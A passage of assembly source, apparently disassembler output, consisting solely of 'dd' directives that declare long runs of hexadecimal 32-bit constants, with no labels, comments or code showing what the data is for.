		dd 90624658h, 53CA8A79h, 0B3CC9029h, 0E7585A78h, 8A255137h
		dd 7A769712h, 9ED58771h, 0D8E535D4h, 55A34E12h,	77110CB4h
		dd 0E5C46A7Eh, 0A6DB8C00h, 0F8B82CC5h, 48BCD517h, 7C5C2533h
		dd 0A5CE8B52h, 1BAD8CCDh, 58E377C5h, 8A51F12Ah,	86915E13h
		dd 5E4DF4FDh, 3A5FBE50h, 78A97CE0h, 7503EDBh, 0DF939163h
		dd 2CD5B3F5h, 768832E3h, 674FA904h, 5627484Fh, 5641702Fh
		dd 28FFDF67h, 0E7A25EB5h, 28941ADDh, 13FEFE01h,	674AF041h
		dd 4FB53B0Ch, 0B802553h, 0A51E557Bh, 0E7B82E90h, 347C9515h
		dd 710C96B2h, 0F7AAB123h, 0A8B880F4h, 0F33D7999h, 0C71E62A1h
		dd 0CADFC8D7h, 4FA34820h, 0F7725C86h, 6E81A06Bh, 50FF16ECh
		dd 0EF0993DDh, 0E5DFB3B1h, 0BA1FC764h, 0FD551D46h, 0FA7AEDD6h
		dd 0D5751333h, 9E2ED0F3h, 9057C27Fh, 0EBC9475Ch, 4BEAD2A9h
		dd 192B2CADh, 51EB6166h, 0DF4658DEh, 849DBA5Bh,	595392B5h
		dd 1C302A78h, 8F6B4430h, 6F7EEE78h, 2DDE9F3Dh, 5C19EA7Ch
		dd 3EFB1E64h, 63B8FE33h, 9E1A6D77h, 924CF673h, 0C37DC028h
		dd 8D289CA8h, 0B6F3B592h, 4B0B6D10h, 0E1BE75F7h, 7986B098h
		dd 0B21A08B9h, 0E04CC059h, 2F4C4ADFh, 1FD06A66h, 72591575h
		dd 0B3392510h, 0B38E5796h, 3AC9EFE2h, 127767BFh, 0A05EAE96h
		dd 5B6E3816h, 6C52E5DCh, 88245A02h, 58614292h, 730EF0B6h
		dd 2DB39BDAh, 84F77F6Fh, 0BC564E93h, 1625D5C6h,	0D5A5C3FEh
		dd 0F2717030h, 7AC6132Bh, 0C29CD7F2h, 0BF2E6F96h, 0DFFAC401h
		dd 0B71A5717h, 0A61E1DA5h, 802B5D01h, 0AA6EF8FCh, 0A82C14BFh
		dd 0C8D663AFh, 44352B96h, 8F6D583Bh, 1FE9340Dh,	70C83592h
		dd 47E537F9h, 84FD919Ch, 0EB418989h, 41176453h,	9487573Bh
		dd 0E03BBE44h, 78475EF2h, 0F1E2C534h, 0D5695DDAh, 0B52495D9h
		dd 48FCA7D4h, 9FD94F88h, 0C1E4E0Bh, 94C47C12h, 0A5676313h
		dd 214C279Fh, 501A7B1Dh, 3D2142B8h, 0FC15CC29h,	34D8F71h
		dd 75E5A92h, 5623A758h,	10D34D1Ch, 36A91D18h, 310CBE26h
		dd 38B14DB3h, 4EDB419h,	8078B610h, 0BE3FEF4Dh, 0A65BE959h
		dd 0F5697327h, 0CA446AE7h, 0B28F0554h, 5CCE0DC3h, 36C0A945h
		dd 735C7662h, 8FBD6605h, 0E90AD5BFh, 697ABF6Ch,	7160A1EFh
		dd 6EBBB52Dh, 56FDED77h, 0F1E43B2Fh, 6733E506h,	8369002Dh
		dd 4BAD5839h, 8B6E17CEh, 4730FD4Dh, 0DC933962h,	1C8257ABh
		dd 0AE1FA5F4h, 7531025h, 755E8486h, 0BFEB4549h,	439A7834h
		dd 350011A6h, 37AE20FCh, 0DF866124h, 0D1585F68h, 1C61B0B9h
		dd 8B4A9378h, 8947526Eh, 42F6A021h, 0C965A6E8h,	9EA681E8h
		dd 48D2E514h, 0BE19702Dh, 8B9C516h, 7146991Ah, 0A850F329h
		dd 37744748h, 0EBDF3F3Ah, 34F2B07Bh, 6257E66Eh,	851CC6BFh
		dd 2C1FDC17h, 247C7827h, 0F7925E32h, 77447D2Bh,	82573E06h
		dd 3D0EEF56h, 0C4A095B5h, 0E37255Fh, 8968D6D5h,	2266EB05h
		dd 65B3BCEh, 0A85373C3h, 0E6691C59h, 76DBC2C6h,	4C94ADB6h
		dd 9BC16190h, 5BCA9CDBh, 8BBFFF22h, 9543F47Eh, 9213832Dh
		dd 2BA85EC4h, 7C57B858h, 0FFC4D643h, 0DAE49A0Eh, 0DAE89035h
		dd 0EDBEA01h, 0AAFE93D8h, 5819D59Ah, 61403A35h,	9941F753h
		dd 9B63A313h, 0D4FF3A24h, 32D52CFEh, 0CD2CD1C1h, 0B58498ACh
		dd 634DB2D5h, 9239EEE0h, 3CAFCCF0h, 5074BB59h, 4AD9998Ah
		dd 0AA1D98A1h, 336ECEA7h, 8ED9219Fh, 0CA14687Ch, 0D85419A1h
		dd 5842658h, 9E8AECF6h,	4B7F7749h, 0B58CA41Ah, 2120D3CAh
		dd 77F86D90h, 3D4A41A6h, 111868D4h, 5D178FD9h, 18F1A1F2h
		dd 9520DD8h, 0F41540DFh, 44E256D8h, 0C8BD2224h,	3CE779AAh
		dd 8B6EC778h, 0DEE0422Ch, 0D5847C1Bh, 0A2D1FBD2h, 40342AD4h
		dd 4A9AB510h, 888EFFh, 0C29A4194h, 0A505471Dh, 6E476DA6h
		dd 0BB565886h, 0ED2C2015h, 4BAB6027h, 0E66678CCh, 180485DDh
		dd 3A1BA95h, 0E3D84A1h,	8CFCFBB2h, 2CF35C4Ah, 17AEE821h
		dd 0F52457DAh, 422E64F9h, 808CA455h, 0FB4268F5h, 8AE512D0h
		dd 8BC9F333h, 119DA6A5h, 90F6DD1Bh, 0E84155ABh,	0F4BEEF5Ch
		dd 56F60280h, 0F7EC41F0h, 162B730Ch, 0D4553018h, 93BADC7h
		dd 0D94D5A19h, 940FD24Dh, 0D5F1601Ch, 0A908D45h, 0DE9EF949h
		dd 9E8D2A74h, 59F7BA7Fh, 0FA3FDDEh, 98215BE0h, 5ED77618h
		dd 0C37F5867h, 1D8D0E58h, 0B6E2CCC6h, 72B16A5Dh, 94E45273h
		dd 81CC28C8h, 61ACF120h, 2F167BDFh, 4CF8DDCBh, 3BCB60CCh
		dd 847FB531h, 8A3891FFh, 287419F1h, 0DB0D29F3h,	0B6F50993h
		dd 5EEE9D0h, 7C43B9F8h,	10395E20h, 0DA4D5775h, 861DE70Ch
		dd 1E56F681h, 28848CBCh, 320FEE47h, 1A398FE1h, 15213935h
		dd 0E1209E88h, 68FA6AA2h, 6304EB6Dh, 0F2E09F75h, 0F2594B53h
		dd 31E184F8h, 0E152AFAAh, 0E44D640Eh, 5749288h,	34211AF1h
		dd 0BFC8453Bh, 7267E73Ah, 3158F6FCh, 0D40B2A44h, 2B74FB0h
		dd 43DC76BAh, 8F280060h, 4F686E2Ah, 63278914h, 937A9C0Fh
		dd 60356155h, 556F67B9h, 3580F466h, 0F7A50226h,	0DF48A878h
		dd 3A46B7CEh, 369257D6h, 0A758DF4Eh, 0C3D59715h, 127BB8h
		dd 0A2854813h, 58249D68h, 0C2A12EEEh, 780BB365h, 0EB7CD773h
		dd 0B69C8915h, 0DC3BD5D8h, 224CC2C6h, 69B6C9EDh, 0AEC67B8Dh
		dd 0ED931429h, 941B5180h, 88D52B68h, 5227FA67h,	0B642F374h
		dd 1B0C23D0h, 0EEFF47CDh, 0FEFAFEE6h, 73E9CB5Eh, 6B78456Bh
		dd 529CB27Eh, 17060D30h, 2BA4B4ADh, 72D8C774h, 2DF944EBh
		dd 465BE3F4h, 93798CBAh, 15E20804h, 2B119A21h, 0BA5E08B5h
		dd 0CE9B2DCAh, 0A82AE76h, 216B784Fh, 97980701h,	2F937DF2h
		dd 448FDAA9h, 5CD9CFE7h, 75658F69h, 319A5E2Fh, 9F3D0C93h
		dd 5D5F647Eh, 4F6BC7DBh, 6A33C184h, 5CC0E060h, 6B26F062h
		dd 0ECFB29BFh, 42F4CBC0h, 3DD039CCh, 5EE35098h,	0B982722Bh
		dd 5BB986F1h, 70342E89h, 513CA987h, 98C78EF5h, 0E60FFBD4h
		dd 91C0219Ch, 9FE0D0C0h, 0B4FFAE46h, 3912AD75h,	0AB381FBBh
		dd 0C06D89F8h, 8E678AF6h, 0F0FD6E61h, 57C928h, 0A5666EC8h
		dd 0D0A589D2h, 99CBE71h, 52017ED5h, 0AE3744C8h,	0A566DD0h
		dd 1DFDD8BDh, 2695017h,	0E0CD706Fh, 637ED8A0h, 4E95CD50h
		dd 5D1E6F88h, 0E479BB93h, 0A0F54334h, 671FD166h, 23C63A21h
		dd 0DA285962h, 7379FDB4h, 0B3B84999h, 0C98F80A3h, 0A8C917AFh
		dd 391058D2h, 0D3524920h, 0B3817978h, 9B3A0021h, 0BF833590h
		dd 0B1E114DFh, 0EAF0F45Dh, 0EE16B5DDh, 92390E00h, 0F57BBF8Eh
		dd 0F5D600Ah, 2808D2EDh, 1C665B4Fh, 0E535899Bh,	0EEEBE36Ch
		dd 2DDC2F40h, 90BBBCFCh, 0A37D7B11h, 2A2C9C83h,	774F913Eh
		dd 2FD3EF92h, 0AFE4C148h, 7735F792h, 5B237AA6h,	6AACE3F4h
		dd 82FA673Ah, 95FAE5D8h, 25E9E237h, 5BD32CAAh, 0C917394h
		dd 81F51031h, 8FF54DECh, 0AD7B3855h, 9E2F5BD0h,	5368F553h
		dd 0B19540EDh, 80711355h, 38210122h, 2C36C888h,	0B2BB55Dh
		dd 265297BCh, 62AF523h
		dd 0AFE48B0Eh, 0DE07CF74h, 3C265F82h, 521780F3h, 0AE806C5Bh
		dd 1FDE0E2h, 8F649282h,	24C5C45Bh, 0E137CB6Ah, 5E2BC298h
		dd 0CE41F627h, 0AA3FD8CCh, 7C647CFAh, 0DB3236A8h, 24980F44h
		dd 0AEE47A33h, 8FE56757h, 27C5AC36h, 5577442Fh,	89F86EE6h
		dd 4910935Bh, 64A2839Ah, 17AC904Dh, 2C68E0C8h, 754D27C3h
		dd 0A9ABD63Eh, 8312AFDAh, 0B59C2D94h, 6326DCF9h, 2590A58Fh
		dd 38FC1A59h, 0B7EF363Ah, 0EEFDACD4h, 0F6CDF8A3h, 2933409Dh
		dd 0DDB09A6Ch, 6CC4ECA1h, 0E281A355h, 3D45F6D5h, 1620D1D9h
		dd 0B4F4657h, 90A60389h, 0EFF11118h, 0EF2F52C0h, 4DA7AF18h
		dd 5571B1E8h, 0E9725129h, 42122EEBh, 0B4BB7E4Ch, 1C483799h
		dd 56A68DC5h, 71880D8h,	5AD2FC6h, 486EA6A1h, 0B5A80C6h
		dd 0A8FD79FFh, 3EF36C1Eh, 40A9FC73h, 225630CBh,	43459B5Fh
		dd 0C30B3587h, 956E121Fh, 1FB3F9D1h, 0AFEE001Fh, 6DD0B395h
		dd 0B961EC45h, 0C5BE4EBCh, 7BAE9418h, 5EF864C5h, 0C6DA6AC7h
		dd 0BF495FC0h, 0D63F64FBh, 29879AD8h, 7CA81C01h, 0A770A499h
		dd 669E296Ch, 0DED5CE44h, 0A2F39C5Ah, 0C978D4AFh, 751CE67Ah
		dd 0B41C91EFh, 13BC8B41h, 5ABCC8EAh, 8B485161h,	0C94DB6B5h
		dd 0A4B01D08h, 0B70469C3h, 9CF1C7F3h, 0DD2BA900h, 0C6212F79h
		dd 6ADD8897h, 60B7C18Fh, 0DD42E5FBh, 16E20E0Fh,	51E8C4EFh
		dd 436A0FA5h, 0C802BB3Ch, 882E747h, 0E31C4448h,	0E0BA9CB2h
		dd 1E0EED23h, 2B3F236Fh, 19BAB647h, 6870F132h, 0C0BBD680h
		dd 0CD783BCEh, 1DE1B541h, 4954B308h, 0CF8A09F9h, 0A8EC7A98h
		dd 906C6728h, 47A793F8h, 0BA8FF07Ah, 1F2793FDh,	57E152C6h
		dd 60F1961h, 8447993Ah,	89A601F2h, 2AAC5CEAh, 59A64E70h
		dd 0F445F99Eh, 0E68D436Eh, 0EF6B9695h, 2B2A46C0h, 353EAF72h
		dd 0B72422B8h, 0E47ADB72h, 604C19B2h, 0D545B185h, 8E1AED8Bh
		dd 289C4A52h, 0C83592C1h, 0FC3D60CDh, 2D1DEE93h, 91079B93h
		dd 2B854C3Fh, 0EE4D0331h, 0D188EA8Fh, 99210FE5h, 815368FBh
		dd 0E5F018D3h, 8BBB405Bh, 0C8B9EC78h, 70EC7DBCh, 0BF2B62D1h
		dd 1CB12744h, 54208F12h, 85498178h, 472D2BD0h, 6A25223Eh
		dd 996345FAh, 0EB63D20Eh, 1D183BEBh, 535FE0E4h,	0D13520D7h
		dd 0C0E09906h, 37AE3493h, 3A629C96h, 239435E1h,	8F0BAD8Bh
		dd 695D540Ah, 0BB105CC4h, 0C8D49322h, 0E102145h, 0D642BAD9h
		dd 0CB0DE4Ch, 150881BAh, 0E299DFF7h, 4DC4A8Ah, 6AC501CCh
		dd 0A388939Eh, 63222C32h, 0A34531BFh, 62D85FB7h, 6A437980h
		dd 87F83591h, 1EBF8B69h, 0ED36BD9Ch, 0F23ECC4Bh, 7439AE32h
		dd 6168B25Eh, 148FA07Ah, 212C95E1h, 0AC425A73h,	3AC914C7h
		dd 0C5B7FABBh, 1E53B2B7h, 0E39CD9C8h, 11DA1656h, 0B97E855Dh
		dd 6F028549h, 0A577E0B2h, 0F299852Bh, 1C040C2h,	0E3601788h
		dd 0ED346885h, 9129D46Eh, 0E591C3A3h, 0B774851Ah, 0D6CD55D9h
		dd 253484C4h, 0ECE22CE2h, 6A382F77h, 492EF8CAh,	40B7E19Bh
		dd 0E476E512h, 23BBA2E6h, 0A5EC843Fh, 1C0D1DAh,	68B76E95h
		dd 0BA17558Eh, 569A156Ch, 7ED59BE6h, 593481D3h,	906518A7h
		dd 6E4FAAA4h, 0D99DCDB3h, 765C4F0Dh, 0AC396F27h, 96C41B7h
		dd 0A4C3A554h, 4855A518h, 0CB3390C7h, 160F71EAh, 0D6B0C855h
		dd 9BFA6D35h, 22A58EBFh, 0C1C5B863h, 77997867h,	664A7E8Bh
		dd 7A7F5464h, 305EE17Ah, 9E60D9F2h, 0DD973A23h,	8EF4B2DFh
		dd 8B99B7E5h, 6D180CC1h, 0C2C6FCC5h, 0A142A2C3h, 699E09B6h
		dd 2E421AE9h, 0CE7E413Ch, 789BEC34h, 0BB05C5A2h, 0C7A04F77h
		dd 0A633B83Eh, 37A48740h, 5CCCFFAAh, 0FDB522E4h, 0F51ED10Fh
		dd 0E1C02E43h, 247C6E3Bh, 0BBCC3CA8h, 79EE15AEh, 4BAC7321h
		dd 0DF98CB28h, 8C3007CAh, 13B188AFh, 93AF022Ch,	2521E776h
		dd 4DB86D1Fh, 0D51860F6h, 3CEAD9A5h, 18552E7Ah,	60A72CFh
		dd 1CC5832Fh, 0A30D63C4h, 6BD603CEh, 286A54FDh,	29FAADA3h
		dd 1C0B94Eh, 0DCE390F4h, 0CD175122h, 73152D5Dh,	4E5AF295h
		dd 9941C2B8h, 0C49E4532h, 2A32B36Ah, 0FBB00CDFh, 0B8E7359Eh
		dd 45EF093Dh, 7A36BF8h,	4778FCD9h, 9740BB4Fh, 9FE7831Dh
		dd 62644B4Eh, 0C5632974h, 9C11DA8Ah, 12E61750h,	3CDC3552h
		dd 8E38FA29h, 29DC4D86h, 41BCD620h, 52503285h, 0F746CCF0h
		dd 0F13730C9h, 0BE10FDBAh, 0AC10CEF5h, 47B10AA7h, 0D1041C92h
		dd 9936D46Fh, 0DC36009h, 1BAC53D7h, 0DD2E2918h,	41DD71E5h
		dd 0BD1EB9B5h, 0A91C4F0Bh, 21B9EEC4h, 0F656538Ah, 0A387A042h
		dd 0C768BD87h, 3BF3467Fh, 2CC68F9h, 26097A7Dh, 5A26FBFBh
		dd 1307B173h, 0D6FD0C02h, 88258510h, 69A38A86h,	0A44769F8h
		dd 0FB8F4AEAh, 0F2A62DC6h, 0ADCEEA9Ch, 18BCCBCh, 4DAB146Ch
		dd 0D1CC95A5h, 0B75E7A64h, 0D3076E41h, 0AC0AE596h, 0BED35D3Eh
		dd 4576C8F3h, 5494FBB2h, 551D6675h, 0ED962BE5h,	36648C25h
		dd 0D97F8057h, 614FFA2Ch, 0BA0090E9h, 2191D014h, 0E996593Ah
		dd 167CB954h, 0B1F913E2h, 0CFA4652Eh, 16AECB13h, 8CE2B9B9h
		dd 68D2A11Dh, 0B3E3C00Bh, 0B1D9A8B3h, 607C9C4Ch, 0A6C8CF9Ah
		dd 0FA5A6F2Fh, 6C93F9F7h, 0D8A08460h, 1E7CCB8Ah, 0E5EBDB53h
		dd 0E72C467Fh, 6EEC4A0Ah, 17564D34h, 1736D0B1h,	67AAAAE2h
		dd 4EB90EDBh, 834FE05Eh, 73F08E56h, 0D7DCA8FEh,	19177D27h
		dd 0C1D4B24Dh, 34CCC419h, 0A38F906Ch, 879859D5h, 979C2B8Ch
		dd 99E9F760h, 0A3A8478Bh, 39160742h, 2DD55A74h,	8B5335C5h
		dd 0FECBD68Dh, 2C88BE25h, 0DD27AAEAh, 96EDCAC2h, 0AAE8A02Ch
		dd 0E1B315ACh, 65F9071Ah, 26EC7751h, 0B93A73A5h, 18C8E68Fh
		dd 34EE9857h, 7A5C3C7h,	6626DDABh, 0AD9185B3h, 0FF1591Ch
		dd 0E41A5663h, 5E63C29Ch, 4B1D631Ah, 8438F7A5h,	0ADA21981h
		dd 64015C7Eh, 0DD4AAEC5h, 27E506FDh, 82A70AD2h,	1D1D4A4Ch
		dd 0AD3BEA78h, 82E6FB9Fh, 17A32DA6h, 64937699h,	0D7DE937Dh
		dd 920B8F8Eh, 357E9BB4h, 0D8326853h, 3650EEECh,	5D79BF8Ah
		dd 0D8E2D61Ch, 4614AD65h, 444E9A33h, 0D4554CCFh, 3E6A22FBh
		dd 3E495663h, 0A4945B78h, 0DC0F58A9h, 33202593h, 0DFCD699Dh
		dd 62FBADFDh, 0EE5C46F2h, 0B088C13Dh, 53CA30B8h, 626EF3FEh
		dd 8B504399h, 7DDFC443h, 0D60775DBh, 9B13AD51h,	1DC81F1h
		dd 94D356D4h, 8B8D2A15h, 0EB73FBDBh, 64BAF34Ch,	0B91528CEh
		dd 5ECA75ADh, 0FB65136Bh, 195DCE05h, 0F1E57A77h, 3F84F8B5h
		dd 800B279Ch, 6B6B5AB1h, 366B6500h, 4C4F4567h, 0C2EC27B2h
		dd 99E49A0Fh, 1E31BE9Bh, 2C7DE0D3h, 0AF027F20h,	0DB544605h
		dd 36069FC1h, 53FEAE34h, 22E37351h, 0CCD9F4A4h,	23CD1A90h
		dd 18690E6Fh, 85DE669Bh, 26899FAAh, 85CBE2D5h, 780D419Fh
		dd 0A298B7F2h, 0E0321F36h, 524E9C58h, 0A290819Ah, 93646E9h
		dd 0E332A7E2h, 70FB380Dh, 0BCAD6F5Bh, 44A59884h, 0ECD40725h
		dd 0D1E85795h, 897344B2h, 41B373EBh, 85328A3Dh,	0B8C7F90h
		dd 78E7FFF5h, 4115EE2Dh, 5133B280h, 0F5FD0565h,	96A4328Fh
		dd 9D43A814h, 0FD517AADh, 0FAD53EDBh, 0E0B6C59Bh, 0E262A326h
		dd 2DCDE50Eh, 931F159Eh, 0A8040D23h, 0AD73E3B4h, 32CDD9B8h
		dd 0B7B85AAh, 0BB675780h, 4BEDB840h, 5BC99DA0h,	0E398D683h
		dd 46CB6856h, 33B0DEABh, 5179644Bh, 32CBD795h, 9FC4DC63h
		dd 55184FC0h, 0E4F63BDDh, 0D53B4297h, 7BBDB13h,	27EB69Bh
		dd 0A47CAD35h, 22814E6Ch, 49325E37h, 0FCA98B9Ch, 2BCFE864h
		dd 0EE312EA3h, 3D7C07DAh
		dd 162590B3h, 26FE4467h, 0A575BFC8h, 1B670513h,	0FFF283E2h
		dd 27A9E424h, 2F093D39h, 5B4B2048h, 7D9954F0h, 33722FDAh
		dd 828515B3h, 0C6D2D660h, 584A51C8h, 7B311000h,	0DA713163h
		dd 73BE46A2h, 48F5AD5h,	0ECB51120h, 0C6963806h,	46E8F5ABh
		dd 5C707F8Ch, 0E5FC076Dh, 0E0267969h, 0BCD66388h, 0FAD6CFB4h
		dd 7DA2F52Fh, 920A67D7h, 0B1F0D601h, 50484F84h,	11DE4A6Fh
		dd 3389FA1h, 0B7705F5Ch, 53AB8C73h, 83F5287h, 0B6143938h
		dd 127740EBh, 0FB7AE29Eh, 29F5F486h, 0AC2F35E8h, 1A7A24A0h
		dd 5D02D604h, 23366D2Ch, 0AA0F548h, 2E1C6A3h, 0BE52D92Ah
		dd 0CC34D4F0h, 0ED73139Bh, 5C3D705Eh, 0FCFC257h, 6914CCE1h
		dd 80261E66h, 61B0C29Bh, 4B446614h, 0A0361B21h,	9B1FF921h
		dd 8CDC3C81h, 0BC39152Eh, 60C6C176h, 18A8CD27h,	0F2402620h
		dd 25F8935Bh, 0C5EB8EBFh, 0C08D3950h, 0A7B58F3Dh, 4F6B606h
		dd 464C7DEh, 6AF3EA36h,	0CB9C7B2Dh, 180E41E3h, 0BB691C92h
		dd 0F39DC2BBh, 7F607BDEh, 453B097Ch, 6E549AEEh,	789C36E2h
		dd 0ABEEB20Bh, 1C044B00h, 0D3F1F2CFh, 0FFAFE1C7h, 0A2518B8Eh
		dd 0AC80F100h, 3C440C28h, 6730B0E5h, 0A867B8B1h, 0DA3BB93Eh
		dd 0D821B1C8h, 855AA371h, 7D3FC1FAh, 0B692050Bh, 0A1EDBA0Dh
		dd 7EEA2D18h, 0E8242DCh, 0B0CE6AEAh, 86548206h,	1E8A83C5h
		dd 418E1E99h, 95B22C65h, 0E213C560h, 0D9EB1EEDh, 0FE5F6D92h
		dd 7D051275h, 0B4B89270h, 5737CEEDh, 10ED5259h,	7B7C29E6h
		dd 3D90E5AFh, 8FAA95F2h, 11C4F311h, 0F0295B16h,	7FFCA650h
		dd 0D9EA29FAh, 86EDD8Ah, 988DBD40h, 0FE8216ADh,	1DC9621Fh
		dd 6CB4F241h, 7A0E0B33h, 54D525BDh, 0E8477BB6h,	5971E528h
		dd 81B77BCBh, 0F42A5DF1h, 0C77565A7h, 1FD6B89Dh, 9639AD28h
		dd 0E977D769h, 158D0DDBh, 0C4BDCD58h, 0E1CFF597h, 0D89B1688h
		dd 0CB37B189h, 0A8CCE3DAh, 0F0B0BCC1h, 8B84210Bh, 0A059DEADh
		dd 1AB63708h, 45D1E636h, 76631D3h, 961C47D7h, 3F7EAB1Fh
		dd 96B5B89Ah, 4440D078h, 0FC650630h, 29B5AA04h,	0C82009DCh
		dd 2ED5DFE6h, 0BABC982Dh, 45F7DE1h, 5FA0D46Eh, 0C4A0BEC4h
		dd 7F1F84F7h, 0BC6D82A0h, 0EE76E61Ah, 6F5A3A90h, 20CDF2BEh
		dd 2C0635C5h, 109B6B6Fh, 0D52D7DD9h, 5581B1DFh,	0E935AAABh
		dd 81934384h, 25AAE7B0h, 8EDBAF77h, 9E49BD0Dh, 8B985C75h
		dd 1F877B5Ch, 280322F7h, 0D615C65Bh, 0A117FA78h, 0DD78B029h
		dd 0FE8020F0h, 0F483CC9Eh, 98B472B9h, 6C3C476Bh, 8D814FC9h
		dd 6661404Dh, 0C9E389DDh, 38BEB2E2h, 0F2EE4143h, 9A966159h
		dd 6A305C94h, 0DC2BD2B0h, 14BCAD24h, 0FAFA8030h, 0D3F97749h
		dd 49393634h, 506AD7B2h, 0C20FE963h, 0DF2922D4h, 11CCFAD0h
		dd 0EF231A2Eh, 851B4A71h, 7A3DC5E6h, 0DD993683h, 5B079FE9h
		dd 3CA0268Dh, 2BA208h, 9061EE9h, 0FCFA4932h, 2543406Ch
		dd 49E1F8E5h, 7056FAC7h, 9699E69Fh, 0C5677630h,	35540AFAh
		dd 0CD7FC2D9h, 6250A14Eh, 92FFB0FDh, 33776F88h,	9EC2A0C7h
		dd 83DB0C0h, 171FB48h, 0A6498519h, 0F4B81434h, 1A8A3C34h
		dd 0FFA6F1EAh, 4B38BE1Eh, 9617D6FDh, 9BC51E70h,	4E433A2Eh
		dd 50B9959Eh, 21826131h, 70F9D018h, 9586D47Ah, 0DA9B2D39h
		dd 961F18FEh, 0D763C90Dh, 54F954A7h, 0D64042A2h, 825C4E4Fh
		dd 74B7F216h, 27FD8B23h, 0CBCEEAEEh, 0BF820567h, 4D750842h
		dd 0C3DDFFE5h, 2AEC62E4h, 412C9E58h, 23314588h,	0C8D1544Ch
		dd 12EB9454h, 6526798Fh, 26D044AEh, 932FF103h, 3424DC59h
		dd 9F62BF96h, 727D3EA0h, 0F0AF6825h, 6B24265Dh,	3BB89DB3h
		dd 5C4CA24Bh, 18033882h, 79402CD7h, 3FBCFF1Dh, 0F8F8B7F8h
		dd 0FFB5A13Dh, 99536026h, 0F03B539Ch, 31D50D9h,	0D128118Bh
		dd 0E30F5C4Ch, 0DF6B2B10h, 0A75B7338h, 4AF7E8E0h, 1E4C5875h
		dd 9E71BB05h, 583A38F0h, 28C343A2h, 9CF49568h, 0E931B034h
		dd 969FACEAh, 52043C24h, 25867139h, 9EE782D0h, 9B13B457h
		dd 0B7DEFE2h, 5FA80D46h, 759BC806h, 2BB060E3h, 505E613h
		dd 0A82FC379h, 0A89694F2h, 7F1F0147h, 6DE001A6h, 2FD53197h
		dd 0EF7382FBh, 767DE4CEh, 4DDB5189h, 11C4D77h, 5D455C95h
		dd 272F6224h, 8145FA19h, 7EFA1533h, 0E5084CE9h,	5717129Fh
		dd 0C6120A59h, 9AF7E024h, 2BAB1021h, 0D9598288h, 7A62E37Bh
		dd 1D1537A3h, 8B577BDEh, 0AB6A97F0h, 0CA9ACD3h,	44F7868h
		dd 645EFDB9h, 89DC4C65h, 0A4BDE0B7h, 8A8C1BD0h,	43202716h
		dd 8E27C781h, 8949B5B0h, 49599A17h, 4D7EE5Bh, 415DD852h
		dd 0E9FEF309h, 17EBE49Bh, 61D426DEh, 4F75000Fh,	7CCA55F6h
		dd 0D292AC49h, 0F4D0F994h, 6E226483h, 0DCCAB1E3h, 82AACA8Eh
		dd 38C3E946h, 0C68CE053h, 6B996A28h, 526270A4h,	92C5337Bh
		dd 0BF95BF8h, 2BE54886h, 0E38F6A64h, 0C4D6541Ah, 0ECA12417h
		dd 718E5A09h, 607F610Bh, 2E6401D0h, 5F41D16Dh, 0F201CE14h
		dd 3968C813h, 645982A8h, 0B9677E60h, 0F6DB1F72h, 894C4100h
		dd 0BE034D52h, 49BD1373h, 1D483BEBh, 52ADF337h,	9C017481h
		dd 2909B237h, 539D86E3h, 0D4FA4DFDh, 5EA8529Bh,	0C56A2963h
		dd 0DEA83A41h, 6F31184Ah, 63A31541h, 0C6E57810h, 0B9B31D4Fh
		dd 7B5595FCh, 0B07BD072h, 986AF7F9h, 0B5337916h, 629B6E36h
		dd 4DC9A83h, 0FD06383h,	0F4289D15h, 36A0E3ADh, 8E9CB5B8h
		dd 2AA722C4h, 0F44CE9A0h, 78E7B865h, 1C1A2562h,	84DD5430h
		dd 9E7408D1h, 753FF545h, 352AEFC9h, 27F753D8h, 6606D00Ah
		dd 561A53Ah, 0DF018C50h, 8B0E36CDh, 0CB61824Ah,	6E982EBCh
		dd 4D13C49Ah, 0D0E355C5h, 3B0B5FE6h, 7CD9D91Eh,	0C5119279h
		dd 841C31AFh, 0CBC30752h, 0B97EEF98h, 85A11487h, 0B505C285h
		dd 6A076ADBh, 3769A4F4h, 630A34C2h, 64A72997h, 6EDE94E8h
		dd 464DFBADh, 6E858144h, 5B3E74F7h, 6BE10905h, 8FF088E5h
		dd 1D96F41h, 23EFA5C4h,	0B508398h, 9C7A5364h, 72D5C3E4h
		dd 7B314827h, 68C34F57h, 4B2BD3Fh, 0BCCA3896h, 4455A306h
		dd 9C14565Fh, 8FB48433h, 43D566ADh, 9202D6B0h, 6F96A96Fh
		dd 83E8880Fh, 0F9A9628h, 0F4B7A3EBh, 95A94A76h,	0EF974A8Ah
		dd 9127C554h, 0E9E52263h, 48FA9D77h, 0ABA5E47Fh, 65456C1Ch
		dd 4CACA8C8h, 1B1D1B6Ah, 0E0360A47h, 34C377ABh,	0DB9CD24Dh
		dd 6F3FAA65h, 5C5511A4h, 5AA3972Fh, 2650E1E3h, 0ED8B5EFDh
		dd 0AD776903h, 55874087h, 82EC0917h, 0C9099F65h, 2933D746h
		dd 349B259Fh, 0E5B06DD2h, 0C54D922Dh, 5F80E0C4h, 0B06E00A8h
		dd 1010C660h, 0CCA3CD37h, 0EA8D7F44h, 52B4FDB2h, 9FE3EEFAh
		dd 850F1B51h, 932C58BBh, 24F80619h, 87FB92E5h, 73AD49FBh
		dd 33EAB384h, 5A5128Ah,	0C40B638Eh, 251C4437h, 0E6509BFh
		dd 85ECEE74h, 0DC2292C0h, 0BE93281Bh, 4FECED3Bh, 4A7977BCh
		dd 60AB418Eh, 1608B7F5h, 80420FEDh, 0BF2EF855h,	30497CBCh
		dd 581C8DDEh, 59469856h, 927F7E3Ah, 0B4CD7FE6h,	294D208h
		dd 0D6E768B2h, 0F02D8E67h, 6E3B2416h, 46B80F39h, 6EEFD1h
		dd 0F1DCF441h, 0E88DD86Dh, 0C7E9F1A1h, 75E3985Bh, 0BE29F3D1h
		dd 1806F4C6h, 66B96053h, 8E81C083h, 0BBBAB499h,	814E3368h
		dd 0BDD2B14Eh, 4B04A912h, 2BC53492h, 4D0AD043h,	70FC15BAh
		dd 2943A7BEh, 7DFF50CEh, 0B0223FE9h, 0F63982C9h, 0ECD1BD57h
		dd 0C114B15Dh, 0FD2A341Eh, 862FC266h, 0BD968E24h, 139BA25h
		dd 19EE4B3Fh, 623047E8h
		dd 8B734FB3h, 673A128Ch, 4279A25Eh, 0CA86BD2Dh,	44EF1DE6h
		dd 44A54163h, 0D0988421h, 2EB07047h, 41DF627Bh,	0EB8B4A25h
		dd 7B051EF1h, 82C4C8A9h, 0E270483Eh, 51721090h,	0BFFD8EECh
		dd 0B2C58D5Fh, 65B18C76h, 0C125CB44h, 0A5550F7Bh, 0FCCA4388h
		dd 0D922EB55h, 608704E7h, 0BA6D73C3h, 281BB34Eh, 0FCAD7F35h
